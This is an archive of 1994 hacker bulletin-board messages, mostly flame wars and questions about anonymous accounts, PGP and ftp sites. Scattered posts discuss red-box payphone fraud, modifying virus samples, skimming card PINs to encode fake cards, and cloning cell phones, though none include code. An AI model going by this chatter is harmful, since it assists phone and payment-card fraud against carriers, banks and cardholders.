Whoever got the non-memory dialer, using redial to send dimes seems like
not such a bad idea after all to me. Also, you can open it up and access
the extra DTMF tones (A-D).
I tried using a tape recordeing without success, but something like DAT
would do the job, I'll bet.
From Morph@yabbs Thu Mar 17 21:45:42 1994
From: Morph@yabbs
To: Dprogram@yabbs
Subject: re: red ...
Date: Thu Mar 17 21:45:42 1994
if you encounter an operator, then just put in a real coin, i nickel or
dime or something, then go from there...
They started making the boxes again, they're the same inside, but they
look totally different, all black with grey buttons...its cool..
From Xela@yabbs Fri Mar 18 13:47:49 1994
From: Xela@yabbs
To: Dprogram@yabbs
Subject: digital tones
Date: Fri Mar 18 13:47:49 1994
My frined has a mac program which can generate digital tones using the
mathematical formulas which determine the tones in the first place. I
believe it uses a Fourier series to approximate the tones that crystal
makes. Anyway, we fed the tones into my pearlcorder and off to the pay
phone! DAT recording through an optical feed would be even better, but a
DAT recorder costs 800 dollars and the optical line costs another 50, so
it isn't cheap. And you would have to have an optical output from the
mac, or pc (whatever you happen to use).
L8rs,
Alex
From cosmos@yabbs Sun Mar 20 18:50:20 1994
From: cosmos@yabbs
To: Destro@yabbs
Subject: re: Hacking
Date: Sun Mar 20 18:50:20 1994
heheh...Male buddy. ;)
Me an ultimate hacker??? nahhhh
Cosmos
From Angstrom@yabbs Mon Mar 21 18:24:11 1994
From: Angstrom@yabbs
To: Justin@yabbs
Subject: re: bbs..
Date: Mon Mar 21 18:24:11 1994
Yep, the board is based in Ahtesn, GA. I have heard of the Cybernet
BBS but it was a bit early for my time :)...there is now over 4000 virii
on this board...later.
From TheDev@yabbs Tue Mar 22 03:56:10 1994
From: TheDev@yabbs
To: Dprogram@yabbs
Subject: re: red ...
Date: Tue Mar 22 03:56:10 1994
Although the RatShack conversion models produce horribly timed pseudo
quarters, they DO fool the operators I have dealt with. I've seen
international calls made with 'em (where you have to deal with an
operator).
The DEv
From hawkwind@yabbs Tue Mar 22 20:09:37 1994
From: hawkwind@yabbs
To: all@yabbs
Subject: IIRG and TRSI
Date: Tue Mar 22 20:09:37 1994
Greetz,
OK, I was doing some H/P NU verification test on some board, and I think
I got most of the questions but the following two puzzled me.
--call me a newbie, or maybe I'm just missing the obvious?
Anyway, can anyone shed the light on these:
1. IIRG
2. TRSI
L8rs,
Hawk.
From cosmos@yabbs Tue Mar 22 21:03:03 1994
From: cosmos@yabbs
To: hawkwind@yabbs
Subject: re: IIRG and TRSI
Date: Tue Mar 22 21:03:03 1994
In message IIRG and TRSI, hawkwind said:
> Greetz,
> OK, I was doing some H/P NU verification test on some board, and I think
> I got most of the questions but the following two puzzled me.
> --call me a newbie, or maybe I'm just missing the obvious?
> Anyway, can anyone shed the light on these:
> 1. IIRG
> 2. TRSI
> L8rs,
> Hawk.
>
Pffft...
First off these so called "H/P" BBS are a load of crap. And any crummy
worthless high school kiddie BBS that makes me take tests to get on is not
worth my time or effort.
Have fun being 3l33t
Cosmos
From Bingley@yabbs Wed Mar 23 21:13:30 1994
From: Bingley@yabbs
To: cosmos@yabbs
Subject: re: IIRG and TRSI
Date: Wed Mar 23 21:13:30 1994
>Pffft...
>
>First off these so called "H/P" BBS are a load of crap. And any crummy
>worthless high school kiddie BBS that makes me take tests to get on is
not
>worth my time or effort.
>
>Have fun being 3l33t
>
>Cosmos
Nice attitude. Why not be constructive instead of being such a lam3r?
This guy asked for help, not for your obnoxious comments.
GET OFF YOUR HIGH HORSE COSMOS.
From SamIam@yabbs Thu Mar 24 01:02:02 1994
From: SamIam@yabbs
To: hawkwind@yabbs
Subject: re: IIRG and TRSI
Date: Thu Mar 24 01:02:02 1994
IIRG sounds very familiar...
TRSI is a pirate group (tristar redsector i think)
I don't know why an h/p board would have THAT as a question
oh well...
good luck
From cosmos@yabbs Thu Mar 24 09:46:19 1994
From: cosmos@yabbs
To: Bingley@yabbs
Subject: re: IIRG and TRSI
Date: Thu Mar 24 09:46:19 1994
Nahh...Id rather stay on it Bingley. Are you justifying the 3l33t BBS
scene?? Perhaps you should get your head examined.
Cosmos
(On the mighty horse as always)
From cosmos@yabbs Thu Mar 24 09:46:52 1994
From: cosmos@yabbs
To: SamIam@yabbs
Subject: re: IIRG and TRSI
Date: Thu Mar 24 09:46:52 1994
Because they are lame Sam.
Cosmos
From peg@yabbs Fri Mar 25 09:43:31 1994
From: peg@yabbs
To: all@yabbs
Subject: Something wierd with tasm f
Date: Fri Mar 25 09:43:31 1994
Hm.. I see that the password file here has been reset, and somebodye else
has taken my old username, oh well. Anywaay:
Does anyone know if something wierd has happened with the tasm from
bcc3.1? I nneded to write a program that put a wrapper on some other
programs that I have (to prevent lamers from modifying text in the
program), and I decided to use the example virii from 40hex vol 8. Only
problem is that I can only get that program to run propperly if i
singlestep through it, using td386. If I try to run it, it runs head-first
into an halt instruction, whre the jump should have been. Seems like the
dosint which was supposed to set the PSP fails.
My system: dos 5.0 (I think, dont really remember, as I've replaced dos
with linux most of the time). 486dx-33 20mb ram.
btw: does anyone know any i-net sites that cary the 40hex vols after vol
10? I'm also looking for a site carrying viriis.
I'll make my anon e-mail address, as well as my public-key (pgp) available
as soon as I get to a terminal with cut&paste. Sorry for the typos, but
this link is slllooowwwww. (norway->us)
From SamIam@yabbs Sat Mar 26 12:09:59 1994
From: SamIam@yabbs
To: arachnoi@yabbs
Subject: re: IIRG and TRSI
Date: Sat Mar 26 12:09:59 1994
I like it ;)
From SamIam@yabbs Sat Mar 26 12:11:50 1994
From: SamIam@yabbs
To: peg@yabbs
Subject: re: Something wierd with tasm f
Date: Sat Mar 26 12:11:50 1994
netsys.com has 40hex *shhhhhh* ;)
From SamIam@yabbs Sat Mar 26 12:14:08 1994
From: SamIam@yabbs
To: SamIam@yabbs
Subject: re: Something wierd with tasm f
Date: Sat Mar 26 12:14:08 1994
Why don't you read the whole thread before replying, LAMER
'nuff sed
From NStalker@yabbs Sun Mar 27 12:38:51 1994
From: NStalker@yabbs
To: all@yabbs
Subject: anon unix or at least mail
Date: Sun Mar 27 12:38:51 1994
Gawd, do you know how long it takes to read all 898 messages in this
message board? (hint: many hours)
I am trying to find a freenet out there somewhere that is _totally_
anonymous, where I don't have to send anything in to them, or pay...
NYX is cool, but I don't wanna send id, I tried others too. santafe wants
me to sign something, and mindvox wants money (like most places) I need at
least anon mail. I can get mail at launchpad.unc.edu as Night.Stalker, but
I can't reply or send mail outside the system... Is there anywhere someone
could point me to which allows me at least a mail account with a name I
pick, and preferably a Unix account with telnet/ftp? It seems that there
_used_ to be more anon places, but they all now require ID or something...
DIALOUTS: This seemed to be a hot topic, oh, maybe 600 posts back or so.
Anyone got sites/lists they wanna trade? Mail> me here (or actually, @ me
here) I got various lists...Especially looking for 815/708/414/608 if
there are such avail. I have no outside lines here, so the inet is my only
link to the world :(
I have thought of anon mail via penet.fi, but that defeats the purpose, as
sysadmins here at school can still read my mail if they wish since all
that does is forwards it.
__
///|//<<'/<
. ///|//<<'/<
From feotus@yabbs Sun Mar 27 13:33:10 1994
From: feotus@yabbs
To: NStalker@yabbs
Subject: re: anon unix or at least mail
Date: Sun Mar 27 13:33:10 1994
at cybernet.cse.fua.edu I believe it is there is a BBS that will allow you
to mail and recieve mail from outside completely anon. Take s alittle
time to get validated and you dont get shell acces, but if all you wnt is
an address than go there. As for anon@anon.penet.fi, if your looking for
someplace where the sysop wont read your mail, you'll be looking forever
man. The best thing you can do is get yoursefl a copy of PGP publik key
encrytpian scheme and use that for all of the questionable mail, and IMO
use it as much as possible, since there most definetly are people out
there reading mail. Sysops, sniffers etc..
From buzzbomb@yabbs Sun Mar 27 14:17:46 1994
From: buzzbomb@yabbs
To: Bingley@yabbs
Subject: re: IIRG and TRSI
Date: Sun Mar 27 14:17:46 1994
all those bbs's usually are are people trading warez, codez, maybe
a few passwords they pilfered, virii that they don't know how to use...
i'm not all that knowledgeable about a lot of stuff, but i'll be the first
to admit it. the guys that run 90% of those boards are a bunch of mooching
posers. or at least that;s been my experience.
not too mention they've got an attitude twice as bad as most of the
people here seem to think cosmo has.
From cosmos@yabbs Sun Mar 27 18:42:49 1994
From: cosmos@yabbs
To: NStalker@yabbs
Subject: re: anon unix or at least mail
Date: Sun Mar 27 18:42:49 1994
708 eh??? A chicago burbs man?? 815 is downstate right??
As for the account, have fun finding a total anonymous account to read
mail, news, and ftp/telnet to...find a sysadmin or system that will create
one for you. Or just be 3l33t and hack one.
Cosmos
From cosmos@yabbs Sun Mar 27 18:44:48 1994
From: cosmos@yabbs
To: buzzbomb@yabbs
Subject: re: IIRG and TRSI
Date: Sun Mar 27 18:44:48 1994
Spell my name right fuckface. You want an attitude, Ill give it to you.
But I give you credit for the sysop poser part...100% true.
GIve me c0d3z d00d
Cosmos ---> 3l33t \/\/aR3Z d00d
From uufnord@yabbs Mon Mar 28 00:24:06 1994
From: uufnord@yabbs
To: all@yabbs
Subject: newbie question
Date: Mon Mar 28 00:24:06 1994
How do I post a message on yabbs?
From robtelee@yabbs Mon Mar 28 00:50:23 1994
From: robtelee@yabbs
To: uufnord@yabbs
Subject: newbie question
Date: Mon Mar 28 00:50:23 1994
You just did...all of us were newbies at one time...
From Skywise@yabbs Mon Mar 28 02:01:17 1994
From: Skywise@yabbs
To: robtelee@yabbs
Subject: re: newbie question
Date: Mon Mar 28 02:01:17 1994
NOT TRUE! I was NEVER a newbie! Right COSMO? hehehe
From cosmos@yabbs Mon Mar 28 05:15:13 1994
From: cosmos@yabbs
To: Skywise@yabbs
Subject: re: newbie question
Date: Mon Mar 28 05:15:13 1994
Right fucknut. Now spell my goddamn name right lamer.
Cosmos
From Bingley@yabbs Mon Mar 28 06:04:10 1994
From: Bingley@yabbs
To: cosmos@yabbs
Subject: Cosmas newbie?
Date: Mon Mar 28 06:04:10 1994
I wonder if everyone was an ass towards you when you were a newbie Cosmo.
Perhaps that is why you are so bitter today.
Keep on being eleet, c0zm0z
From NStalker@yabbs Mon Mar 28 06:05:53 1994
From: NStalker@yabbs
To: cosmos@yabbs
Subject: 815
Date: Mon Mar 28 06:05:53 1994
815 is Rockford, and Crystal Lake where I'm from...and 708 is 2 mins
away... And yeah, I think I am going to go PGP soon. As soon as I get the
Unix one (already have DOS) Ya think there'll be any problems using my
same key in both OS's? Now that I thought about it,
no...stupid. :)
From cosmos@yabbs Mon Mar 28 06:50:32 1994
From: cosmos@yabbs
To: Bingley@yabbs
Subject: re: Cosmas newbie?
Date: Mon Mar 28 06:50:32 1994
Nahhh...never...I was never new.
Ever heard of sarcasm my little fork tounged friend??
Cosmos
From cosmos@yabbs Mon Mar 28 06:51:43 1994
From: cosmos@yabbs
To: NStalker@yabbs
Subject: re: 815
Date: Mon Mar 28 06:51:43 1994
heheheh...Crystal Lake....
Ahh the burbs.
Cosmos
From cosmos@yabbs Mon Mar 28 11:56:48 1994
From: cosmos@yabbs
To: all@yabbs
Subject: Can it get any lamer than t
Date: Mon Mar 28 11:56:48 1994
The lamest excuse for a newsgroup has got to be alt.2600...
The shit posted there is at best mildly amusing. In fact, wading through
the majority of AOL, DELPHI, and CompuServe morons that post there makes
this place here qualify as an 3l33t board. ;)
My favorite post today was "Hey dudes, has anyone ever tried the 8lgm
stuff??" <--- proof that cro-magnon man still exists.
Cosmos
From dmonger@yabbs Mon Mar 28 13:36:14 1994
From: dmonger@yabbs
To: cosmos@yabbs
Subject: re: newbie question
Date: Mon Mar 28 13:36:14 1994
osmos also works :)
-peter
From feotus@yabbs Mon Mar 28 14:08:12 1994
From: feotus@yabbs
To: all@yabbs
Subject: sum
Date: Mon Mar 28 14:08:12 1994
hehe, the 8LeggedRooveMachine stuff is just so up to date and I am so
surprised that they were nmot shot for putting it out man. Gee alt.2600
has all the greatest AOL hackers you'll ever find. I bet they could even
get you Frogger pirated if you really wanted it. We all knoiw that all
the really truly great hackers hang on AOL as an undercover account. Yeah
that's the ticket.
but not-so-seriously, how many lame posts have you seen in alt.cyberpunk
alt.2600 (insert supposedly cool newsgroup here) from some AOL dick who
just figured out their newsnet shit? I count at least a bazzilion in the
last three minutes.
on another note.
Any substantiation to the rumor that anon.penet.fi is sniffed and
decrypted? I dont hink they can break a 1024bit RSA key in less than a
couple years right now, so i dont believe the decryptian part, unless the
found a whole in IDEA, which I doubt.
my question is how many people reading this newsgroup have actually done
something original besides just eploit some overused and overdeveloped
whole that someone told them about? Any original people here? And by
original I mean doing something besides just running Crack? How about
other projects?
From Hellion@yabbs Mon Mar 28 15:14:27 1994
From: Hellion@yabbs
To: arachnoi@yabbs
Subject: re: IIRG and TRSI
Date: Mon Mar 28 15:14:27 1994
Hey, could you E-mail me that? I have no idea how to get any of these messages
off the bbs here *without a screen capture which I don't have on this machine
that I am on. Ugggh....
Mail me at : sad8390@nebrwesleyan.edu
thanx. If anyone knows how to save these let me know.
-- Hellion
From Hellion@yabbs Mon Mar 28 19:53:27 1994
From: Hellion@yabbs
To: NStalker@yabbs
Subject: re: anon unix or at least mail
Date: Mon Mar 28 19:53:27 1994
Someone said that :
> at cybernet.cse.fua.edu I believe it is there is a BBS that will allow you
I tried to telnet there, but I get an unknown host, any ideas on the ip number?
-- Hellion
From NStalker@yabbs Mon Mar 28 21:23:21 1994
From: NStalker@yabbs
To: Hellion@yabbs
Subject: re: anon unix or at least mail
Date: Mon Mar 28 21:23:21 1994
Yeah, that address was a typo...I found it to really be
cybernet.cse.fau.edu, notice fau not fua. They want ya to send an id in
before you can send mail out anyway. but I think you can read mail send TO
you though. But launchpad does that anyway, and that's my newsreader.
Feotus: I think I got a pirated copy of frogger in one of my disk
boxes...want a copy? *grin*
NightStalker
From Hellion@yabbs Mon Mar 28 21:31:37 1994
From: Hellion@yabbs
To: NStalker@yabbs
Subject: launchpad
Date: Mon Mar 28 21:31:37 1994
Okay, this may sound stupid, but I am just now getting the courage to use some
of this stuff, so here goes...
Just how do you get onto launchpad? I don't even know the telnet
address. I must say to you all, though, that this has been the kindest
enviroment for me to learn new stuff in. *wipes brown off nose* anyhow, just
give me a break for being a newbie at this...
-- Hellion
From rieza@yabbs Tue Mar 29 02:10:32 1994
From: rieza@yabbs
To: all@yabbs
Subject: bow1.txt & bow2.txt
Date: Tue Mar 29 02:10:32 1994
where can i get bow1.txt & bow2.txt ?
From TheDev@yabbs Tue Mar 29 03:07:57 1994
From: TheDev@yabbs
To: cosmos@yabbs
Subject: re: newbie question
Date: Tue Mar 29 03:07:57 1994
:Right fuknut. Now spell my goddamn name right lamer.
:
:Cosmos
haha fuknut, that's a new one
The Dev
From Dauber@yabbs Tue Mar 29 15:43:20 1994
From: Dauber@yabbs
To: uufnord@yabbs
Subject: re: newbie question
Date: Tue Mar 29 15:43:20 1994
> "How do I post a message on yabbs?"
Uhh....pardon me for asking this, but....
How the hell did you post that one??
THAT's how you post a message on YABBS!!
I didn't read the thread all the way thru--I was gonna scold you NO MATTER
WHO AND HOW MANY DID!!!!
From NStalker@yabbs Wed Mar 30 01:06:08 1994
From: NStalker@yabbs
To: hellion@yabbs
Subject: launchpad
Date: Wed Mar 30 01:06:08 1994
Just telnet to launchpad.unc.edu, and enter launch as the login:
then It'll ask you for your name, and you can give it anything you want,
'cause they don't check, and they don't ask anything else. er, there might
be a place where you have to type new...but It'll tell you.
From Lacey@yabbs Wed Mar 30 03:54:05 1994
From: Lacey@yabbs
To: Dauber@yabbs
Subject: re: newbie question
Date: Wed Mar 30 03:54:05 1994
Let's try to be a little nicer. I'm sure that person didn't mean to
ask a question that you have termed stupid. Give the kid a break.
It takes a real ignorant asshole to say things like that even if you are
just joking. Get a grip and cut the newbies some slack.
From cosmos@yabbs Wed Mar 30 05:49:03 1994
From: cosmos@yabbs
To: Dauber@yabbs
Subject: re: newbie question
Date: Wed Mar 30 05:49:03 1994
Hey, that's my job! ;)
Cosmos
From cosmos@yabbs Wed Mar 30 05:50:16 1994
From: cosmos@yabbs
To: Lacey@yabbs
Subject: re: newbie question
Date: Wed Mar 30 05:50:16 1994
Oh come off it, the lame shit that posted it deserved a hell of alot more
than that simple ribbing. If you cant take a flame, go to the poetry
base.
Cosmos
From Lacey@yabbs Wed Mar 30 06:59:58 1994
From: Lacey@yabbs
To: cosmos@yabbs
Subject: re: newbie question
Date: Wed Mar 30 06:59:58 1994
I'm glad to know what a closed mined person you are. Remember you were
a newbie once too.
Lacey
From cosmos@yabbs Wed Mar 30 08:25:28 1994
From: cosmos@yabbs
To: Lacey@yabbs
Subject: re: newbie question
Date: Wed Mar 30 08:25:28 1994
No I wasnt.
Cosmos
From dmonger@yabbs Wed Mar 30 12:13:33 1994
From: dmonger@yabbs
To: cosmos@yabbs
Subject: re: newbie question
Date: Wed Mar 30 12:13:33 1994
your job ... okay ... sure
i think you're idea that everyone deserves to be flamed is rather absurd.
but then again that could be me
-peter
who forgot that oswald was born sitting in front of a computer
From Skywise@yabbs Wed Mar 30 18:34:58 1994
From: Skywise@yabbs
To: cosmos@yabbs
Subject: re: newbie question
Date: Wed Mar 30 18:34:58 1994
POETRY BASE! POETRY BASE! Don't use it as an insult
_COSMO_
bwahahahaha
(btw you should have flamed the hell out of that punk's lameness.)
From cosmos@yabbs Wed Mar 30 19:26:32 1994
From: cosmos@yabbs
To: Skywise@yabbs
Subject: re: newbie question
Date: Wed Mar 30 19:26:32 1994
IS it because of Sneakers that you guys insist on caling me COSMO??? No,
no, no. It's COSMOS, it means something. At least it used to...
As for flaming, I must have took my midol that morning...
Cosmos
From feotus@yabbs Wed Mar 30 20:48:26 1994
From: feotus@yabbs
To: cosmos@yabbs
Subject: you big dummy
Date: Wed Mar 30 20:48:26 1994
gosh your so mean and bad
i hate you
im going to go tell my mom on you
why dont you just, just, just go play asteroids
im cool cause i play Shadowrun, that's where I learned how to hack
im just the k-raddicaest
hehehe, sarcasm man strikes again 8)
wow, im pretty good at flame bait cosmo, hehe oops comsos
dont you all just hate the formatting of this message
it says I havea 99 line limit, and by god I'll use it, I SWEAR I WILL
now now boys, don't hit n
For those of you who have stayed tune this long congrats, your dum
no but not so seriously, anyone know a good stream cypher? Me and some
pals are gonna work on installing encryptian in a client server model ofr
a little site we have so we are looking for a good stream cypher. DONT
say RSA, sicne RSA is too slow and it's not a stream cyper anyways, it's
block. And DONT sat DES, cause that's a block, actually PRODUCT, cypher,
so haha again. We have a relatively secure one already, but all the other
ones we found are either copyrighted or licensed so that it would be
deleterious for us to use it, so we need our own.
Also on another note, anyone know about what happened to penet?
OOOPS, why the hell am I asking these questions on this lame echo, YUP,
this has GOT to bea FIDO net echo cause those are the only ones capable of
getting this primo LAME. Gosh, most of the times it's flame wars, and not
even tasty ones at that. DOES ANYONE KNOW **ANYTHING** ABOUT
HACKING/PHREAKING/CELLULAR
FRAUD/VIRII/CRYPTOGRAPHY/CODING/CRACKING/PROGRAMMING
From Kittycat@yabbs Thu Mar 31 01:19:15 1994
From: Kittycat@yabbs
To: cosmos@yabbs
Subject: fLAM3R
Date: Thu Mar 31 01:19:15 1994
Cosmo you just don't know how to relate to poeple. Why can't you say
something nice....ever?
As for your perpetual flaming, use Preparation H coz. It releaves the itch
and swelling that I'm sure you must have. Either that or there is a
thistle rammed up your rear end.
From lol@yabbs Thu Mar 31 01:56:14 1994
From: lol@yabbs
To: all@yabbs
Subject: hack/pirate ftp?
Date: Thu Mar 31 01:56:14 1994
Salutations,
Im pretty new to yabbs... but its pretty cool anyway.
I wondered if any of ya know of a nice pirate/hack/anarchy
ftp site?!?!? Living in a country where the word BBS
is looked up in the dictionary is IMPOSSIBLE to find
a pirate/hack/anarchy bbs... so the net is my ONLY way.
Tnx in adv.
Prometheus
From lol@yabbs Thu Mar 31 02:07:00 1994
From: lol@yabbs
To: all@yabbs
Subject: ZMODEM!!
Date: Thu Mar 31 02:07:00 1994
rz
From Elaking@yabbs Thu Mar 31 04:30:56 1994
From: Elaking@yabbs
To: all@yabbs
Subject: a bit seriousness
Date: Thu Mar 31 04:30:56 1994
[Things are like this... i'm writing this short essay on hacking and
anarchism on the internet... I would very much appreciate if i could have
an IRC interview or if any of U guys who know a shit (that is NO lamers)
could post me something of interest, like cool e-zines (heavier than
LOD, Phrack and those mother-in-law-formatted ones) and where to get a
hold of them. I can be reached either here, or at:
psys240@pcpost.hoe.se
thnx alot
\\\\Elaking
From cosmos@yabbs Thu Mar 31 05:39:45 1994
From: cosmos@yabbs
To: Kittycat@yabbs
Subject: re: fLAM3R
Date: Thu Mar 31 05:39:45 1994
Czesc kicia....
;)
Cosmos
From Skywise@yabbs Thu Mar 31 08:47:33 1994
From: Skywise@yabbs
To: cosmos@yabbs
Subject: re: newbie question
Date: Thu Mar 31 08:47:33 1994
Cosmo, did you get your name from the Jetsons? *grin*
just kidding Cosmos, you telco database, you! ;)
From htoaster@yabbs Thu Mar 31 10:04:44 1994
From: htoaster@yabbs
To: lol@yabbs
Subject: re: hack/pirate ftp?
Date: Thu Mar 31 10:04:44 1994
In message hack/pirate ftp?, lol said:
> Im pretty new to yabbs... but its pretty cool anyway.
> I wondered if any of ya know of a nice pirate/hack/anarchy
> ftp site?!?!? Living in a country where the word BBS
> is looked up in the dictionary is IMPOSSIBLE to find
> a pirate/hack/anarchy bbs... so the net is my ONLY way.
Well, there is stuff out there, but since it is illegal people aren't going
to just out an tell you about the sites (and also, I will censor mail on yabbs
that contains information on pirate ftp sites, because it can make this system
look suspicous as well). If your interested in talking about hacking, etc,
this system is about as close as your going to get to being a public h/p/a
type system on the net.
There is also irc, which is a chat system, which always has a channel called
#hack. To get onto it you need to use a client, which you can ftp from
csd.bu.edu (I think).
alex
From lol@yabbs Thu Mar 31 16:33:53 1994
From: lol@yabbs
To: all@yabbs
Subject: h/p/a ftp site
Date: Thu Mar 31 16:33:53 1994
Thanx a lot for those who helped, arachnoi and htoaster.
my main prob is that it's very hard for me to
compile anything on this box since the root
messes things up with the link libs and such.
I wonder if anyone has an already compiled
version of the irc client for sunos 4.1.3 or
something close.
Thanks again.
lol
From JasonLee@yabbs Fri Apr 1 02:32:30 1994
From: JasonLee@yabbs
To: feotus@yabbs
Subject: re: you big dummy
Date: Fri Apr 1 02:32:30 1994
feotus said:
DOES ANYONE KNOW **ANYTHING** ABOUT HACKING/PHREAKING/CELLULAR
FRAUD/VIRII/CRYPTOGRAPHY/CODING/CRACKING/PROGRAMMING
+++++++++++++++++++++++++++++++++++++++++++++++++++++
Nope. Don't think so. Not here.
JasonLee
From cosmos@yabbs Fri Apr 1 05:32:35 1994
From: cosmos@yabbs
To: JasonLee@yabbs
Subject: re: you big dummy
Date: Fri Apr 1 05:32:35 1994
You forgot to mention 0-3 day \/\/aR3Z....
Cosmos
From Skywise@yabbs Fri Apr 1 06:16:47 1994
From: Skywise@yabbs
To: JasonLee@yabbs
Subject: re: you big dummy
Date: Fri Apr 1 06:16:47 1994
I know a little bit of BASIC. What do you need help with?
.s
\s
.q
hey
From cosmos@yabbs Fri Apr 1 14:42:11 1994
From: cosmos@yabbs
To: Skywise@yabbs
Subject: re: you big dummy
Date: Fri Apr 1 14:42:11 1994
10 REM *** 3l33T BASIC PROGRAM ***
20 ? "INTEL SUCKS!"
30 GOTO 20
Cosmos
From Jeremiah@yabbs Fri Apr 1 17:37:19 1994
From: Jeremiah@yabbs
To: all@yabbs
Subject: A proggier...
Date: Fri Apr 1 17:37:19 1994
This may sound like an odd request, but does anyone know of a UNIX
emulator that will run on a dos machine? If one exists, where might I be
able to get ahold of it...?
From cosmos@yabbs Fri Apr 1 21:34:21 1994
From: cosmos@yabbs
To: Jeremiah@yabbs
Subject: re: A proggier...
Date: Fri Apr 1 21:34:21 1994
1) Get rid of DOS.
2) Get rid of Windoze.
3) FTP netBSD (ask Htoaster for the specific site)
4) Install and go.
Or you can run linsux....but I wouldnt be caught dead with it myself.
Cosmos
From uufnord@yabbs Sat Apr 2 00:07:09 1994
From: uufnord@yabbs
To: Lacey@yabbs
Subject: re: newbie question
Date: Sat Apr 2 00:07:09 1994
I wonder if I was being sarcastic when I asked; but that's so unlike me.
From feotus@yabbs Sun Apr 3 15:01:33 1994
From: feotus@yabbs
To: all@yabbs
Subject: ohmygosh
Date: Sun Apr 3 15:01:33 1994
wow, i guess noone knows anything at all.
just for a reminder I asked if anyone knew anything about h/p/c/v etc...
at all, or if this is just one of the bases where everyone talks about
everything BUT h/p/c/v etc...
fuckin funny as hell really
does anyone besides Cosmos, and Fastjack know what an ESS is?
lord help us all.
has anyone besides aformentioned couple, ever done anything besides
REDBOX
Steal passwd files
Run Crack or crackerjack etc..
Do fakemail
program in a language OTHER than Basic or derivatives thereof
i didnt think so. Oh well.
NOW for those who have done other things.......
me and some people are aquiring cell phones soon. We have the eprom
burner etc... I was wondering what one could do with one of the roadside
distress phones you see on some hiways. I believe they run cell so maybe
steal info from them and run that etc...?
also, with the new card checkers in some stores, where the customer runs
trheir card thru a small machine slot and then punches in PIN. Now I
looked at these before while noone was paying attention it appears that
they are all networked to a central machine inthe store. Apperantly this
is the one making the call out. What I was wundering is just what could
we do with one of these if stolen considering thatthey are easily
snatchable. Maybe use it for checks, but then I figured that all the
dialing and merchant number info for hte credit service would be on the
main server for all of them in the store. Hmmmmm. Must be something of
consequence.
From JasonLee@yabbs Sun Apr 3 15:35:37 1994
From: JasonLee@yabbs
To: feotus@yabbs
Subject: re: ohmygosh
Date: Sun Apr 3 15:35:37 1994
feotus said:
program in a language OTHER than Basic or derivatives thereof
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
How about Logo? ;)
No, I can program in C a bit...
I doubt you could really do much with the supermarket machine. If you
were going to fake calls out to the bank network, then you could really
only buy groceries. I guess you could somehow snag PINs off it, but
without a card to go along with it, you wouldn't be able to do much.
Actually, if you have access to a magnetic strip writer, you might be able
to steal the PIN and any other info off the card as the info is being sent
out and then encode your own card. Would that work, cuz I'm not quite
sure I know what I'm talking about?
JasonLee
From cosmos@yabbs Sun Apr 3 15:58:09 1994
From: cosmos@yabbs
To: feotus@yabbs
Subject: re: ohmygosh
Date: Sun Apr 3 15:58:09 1994
Feotus,
Thank you for your charming little rant. Please return to alt.2600 with
the rest of the Delphi and AOL morons. Thank you.
Cosmos
From Skywise@yabbs Sun Apr 3 19:23:57 1994
From: Skywise@yabbs
To: feotus@yabbs
Subject: re: ohmygosh
Date: Sun Apr 3 19:23:57 1994
You IDIOT!!! How did you even get on this bbs? I thought they had
implemented a tighter security system...
ESS is an acronym for Electronic Sewage System
It is the absolute latest in waste disposal technology and comes your way
directly from a research lab hidden in the wilds of upper Canada. I'm
sorry I can't tell you more about it... CLASSIFIED you know...
From washbord@yabbs Sun Apr 3 20:28:00 1994
From: washbord@yabbs
To: all@yabbs
Subject: carding...
Date: Sun Apr 3 20:28:00 1994
Did you see that CNN report a couple of months ago where carders put a
fake faceplate on bank machines which snatched customers reciepts. At the
same time they had a camera in a van recording the PIn number the customer
s typed in. Later they got the receipts, made fake cards and used the
PINs. That's why you may have noticed banks posting signs reminding
customers to keep their bank mach. recpts.
Of course they got caught, althouhg they did snag close to $100K.
If you're not going to be pulling in a couple mil. I would not recommend
card scams.
From Angstrom@yabbs Sun Apr 3 20:35:24 1994
From: Angstrom@yabbs
To: all@yabbs
Subject: bbs...
Date: Sun Apr 3 20:35:24 1994
Don't suppose anyone knows what UXU stands for?...no answer expected
from Cosmos ;)...I was asked it (along with ESS) when I logged onto a
Internet (bbs)/bbs....
From Offe@yabbs Mon Apr 4 09:58:36 1994
From: Offe@yabbs
To: Angstrom@yabbs
Subject: re: bbs...
Date: Mon Apr 4 09:58:36 1994
In message bbs..., Angstrom said:
> Don't suppose anyone knows what UXU stands for?...no answer expected
> from Cosmos ;)...I was asked it (along with ESS) when I logged onto a
> Internet (bbs)/bbs....
UXU stands for Underground eXperts United. Check ftp.lysator.liu.se:/pub/doc/uxu
for further info.
-Offe
From Fastjack@yabbs Mon Apr 4 11:45:47 1994
From: Fastjack@yabbs
To: feotus@yabbs
Subject: re: ohmygosh
Date: Mon Apr 4 11:45:47 1994
yIn message ohmygosh, feotus said:
> wow, i guess noone knows anything at all.
>
> just for a reminder I asked if anyone knew anything about h/p/c/v etc...
> at all, or if this is just one of the bases where everyone talks about
> everything BUT h/p/c/v etc...
>
> fuckin funny as hell really
>
>
> does anyone besides Cosmos, and Fastjack know what an ESS is?
Just give'm your redbox plans and they'll be happy. I refuse to
participate in an activity that a bunch of morons are going to get caught
(and publicized) doing...
>
> has anyone besides aformentioned couple, ever done anything besides
> REDBOX
> Steal passwd files
> Run Crack or crackerjack etc..
> Do fakemail
> program in a language OTHER than Basic or derivatives thereof
>
HEHEHE. Half the 'crackers' just run around with borrowed accounts,
running scripts they got off usenet, that someone with some knowledge wrote
and distributed in an effort to close these kinds of holes that allow
nimrods to go root on School X's/Bank X's/Biz X's machine(s). That gives
those who consider themselves true hackers a bad name. Half would
have a problem with Crack, as user friendly as Alex made it...
>
> i didnt think so. Oh well.
>
>
> NOW for those who have done other things.......
>
> me and some people are aquiring cell phones soon. We have the eprom
> burner etc... I was wondering what one could do with one of the roadside
> distress phones you see on some hiways. I believe they run cell so maybe
> steal info from them and run that etc...?
>
This was done in Californey a while back. They *CLAIM* it can't be
done again, but I doubt they did much of anything. All you need is this
little box, see, and it gets you ESNs, see, and it's called a....
oh, but I talk too much already.
FJ
From feotus@yabbs Mon Apr 4 12:53:17 1994
From: feotus@yabbs
To: cosmos@yabbs
Subject: re: ohmygosh
Date: Mon Apr 4 12:53:17 1994
but dear, i have never been to alt.2600 is it lovely this time of year?
AOL. aaaaarrrrrggggggghhhhhhhhhhhhhhhhh that's the knife that went thru
my heart GASH Im dying Im dying
real hackers read alt.cyberpunk harhar
From cosmos@yabbs Mon Apr 4 14:01:09 1994
From: cosmos@yabbs
To: Fastjack@yabbs
Subject: re: ohmygosh
Date: Mon Apr 4 14:01:09 1994
FJ,
